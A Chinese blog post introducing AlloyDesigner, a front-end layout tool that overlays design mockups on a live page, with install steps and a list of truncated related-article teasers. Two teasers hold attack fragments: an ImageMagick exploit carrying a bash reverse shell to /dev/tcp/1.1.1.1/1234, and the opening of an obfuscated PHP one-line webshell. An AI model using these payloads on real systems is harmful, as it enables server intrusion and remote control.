困扰

设计师给出静态的高保真图片, 需要前端工程师按照高保真图,进行html编码。

前端工程师, 一般工作方法为: 打开图片,一边看下图片, 一边编写相应的html代码。

这样有两个问题:

1、 前端工程师比较累, 不停切换 图片和 编辑器, 操作频繁。手累!

2、 编写出来的html页面,不一定跟设计师的图片完全吻合。

alloydesigner工具介绍

http://alloyteam.github.io/AlloyDesigner/

  • AlloyDesigner介绍

    AlloyDesigner 重新定义了Web页面构建的模式,页面构建过程中,AlloyDesigner直接嵌入你的Web页面中运行,帮助你精准、高效的构建Web页面的 UI!AlloyDesigner 是用 HTML5 开发的、直接嵌入在Web页面中运行的可视化Web构建工具

    AlloyDesigner预计节省您40%的UI开发时间,每天多40%的时间一起喝杯咖啡如何?

  • 好处:

    1、 让你写网页如同临摹一样。 每一步都可以有针对的检查调整的结果对不对。

    2、 在编辑器中定义好html结构后, 在chrome浏览器上, 调整样式,与设计图片保持一致, 样式调整的结果直接同步到css文件。

    不像现在的浏览器开发者工具如firebug, 调整样式后, 需要将css代码再考回到 css文件中。

    3、 还有杰出使用测量、放大、隐藏设计图片等工具。(不用再使用额外的软件来做这些事情。 简直是美极了。)

    alloydesigner工具安装

    http://alloyteam.github.io/AlloyDesigner/worddoc.html

    1、 XAMP工具。 或者其他的 本地web运行环境。

    2、 chrome 设置workspace的位置为 XAMP的 htcdoc文件夹。

    3、 将 alloydesigner.js文件嵌入到 待调试的html网页中。

    ---- 然后就可以尝鲜了。

    alloyteam确实好样的, 为web前端开发人员造福啊!http://alloyteam.github.io/

    分享:一款前端布局工具(alloydesigner)的更多相关文章

    1. Sublime Text前端开发工具介绍

      Sublime Text前端开发工具介绍.. Sublime Text这款前端开发工具中的非常优秀的特性进行介绍 ------------ sublime text 3 3114 注册码 —– BEG ...

    2. 分享12款最佳的Bootstrap设计工具

      设计师总会渴望有一些新奇有趣的设计工具来提高工作效率,而Bootstrap就是您的不二选择.2013年Bootstrap得到了广泛普及, 它是开发者较为常用的框架之一,本文我们将分享12款最佳的Boo ...

    3. 分享15款很实用的 Sass 和 Compass 工具

      Sass 是 CSS 的扩展,增加了嵌套规则,变量,混入功能等很多更多.它简化了组织和维护 CSS 代码的成本.Compass 是一个开源的 CSS 框架,使得使用 CSS3 和流行的设计模式比以往任 ...

    4. 分享一款简单好用的HTML拼接工具

      今天分享一款很好用的字符串拼接工具,在前端开发中,经常需要我们去手动拼接HTML代码,如果你经常这么做,那么肯定会因为单双引号的问题弄得焦头烂额.有了这个拼接工具,妈妈再也不用担心我拼不好html代码 ...

    5. 分享27款最佳的复古风格 WordPress 主题

      WordPress 作为最流行的博客系统,插件众多,易于扩充功能.安装和使用都非常方便,而且有许多第三方开发的免费模板,安装方式简单易用. 复古风格可以应用于任何东西,从服装到室内设计,那么复古风格的 ...

    6. 干货分享 9款精挑细选的HTML5应用

      对于前端开发者来说,分享一些优秀的HTML5应用可以直接拿来用,更重要的是可以激发创作的灵感.今天我们要分享9款精挑细选的HTML5应用,个个都是干货. 1.HTML5/CSS3滑块动画菜单 图标动画 ...

    7. 前端构建工具之gulp(一)「图片压缩」

      前端构建工具之gulp(一)「图片压缩」 已经很久没有写过博客了,现下终于事情少了,开始写博吧 今天网站要做一些优化:图片压缩,资源合并等 以前一直使用百度的FIS工具,但是FIS还没有提供图片压缩的 ...

    8. 分享20款移动开发中很有用的 jQuery 插件

      今天,很显然每个网站都需要有一个移动优化的界面以提高移动用户的使用体验.在开发任何移动项目时,要尽可能保持每一种资源尺寸都尽可能的小,以给最终用户提供一个好的体验是非常重要的.在这篇文章中我们已经编制 ...

    9. 前端自动化测试工具doh学习总结(二)

      一.robot简介 robot是dojo框架中用来进行前端自动化测试的工具,doh主要目的在于单元测试,而robot可以用来模仿用户操作来测试UI.总所周知,Selenium也是一款比较流行的前端自动 ...

    随机推荐

    1. jQueryUI日期显示

      <script type="text/javascript" src="js/My97DatePicker/WdatePicker.js">< ...

    2. xml学习

      一,数据类型 xmlChar  对char的基本代替,是一个UTF-8编码字符串中的一个字节.如果你的数据使用了其他编码,在使用libxml函数前就必须转换为UTF-8. xmlDoc和xmlDocP ...

    3. The beatles-Yesterday

      轉載自https://www.youtube.com/watch?v=XNnaxGFO18o Yesterday Lyrics:Paul Mccartney Music:Paul Mccartney ...

    4. HTTP头部解析

      当我们打开一个网页时,浏览器要向网站服务器发送一个HTTP请求头,然后网站服务器根据HTTP请求头的内容生成当次请求的内容发送给浏览器.你明白HTTP请求头的具体含意吗?下面一条条的为你详细解读,先看 ...

    5. mysql安装及卸载

      一.关于mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下公司.MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面MySQL是 ...

    6. ImageMagick又一处命令执行

      push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...

    7. 最新php一句话木马

      <?php $uf=”snc3″; $ka=”IEBldmFbsK”; $pjt=”CRfUE9TVF”; $vbl = str_replace(“ti”,””,”tistittirti_rti ...

    8. zju(9)LCD显示实验

      1.实验目的 1.学习和掌握linux下对IIC的操作方法以及驱动和应用程序的编写: 二.实验内容 1.编写EduKit-IV实验箱Linux操作系统下IIC的驱动,并编写应用程序实现将数据写入EEP ...

    9. 文件代码对比软件 Beyond Compare

      Beyond Compare https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&tn=baidu&wd=Beyond%20Co ...

    10. firebox httprequester 模拟请求

      获取下载插件 httprequester 模拟POST请求,必须点击Parameter Body 参数写法:abc=123&id=456 也可以选择Headers栏目添加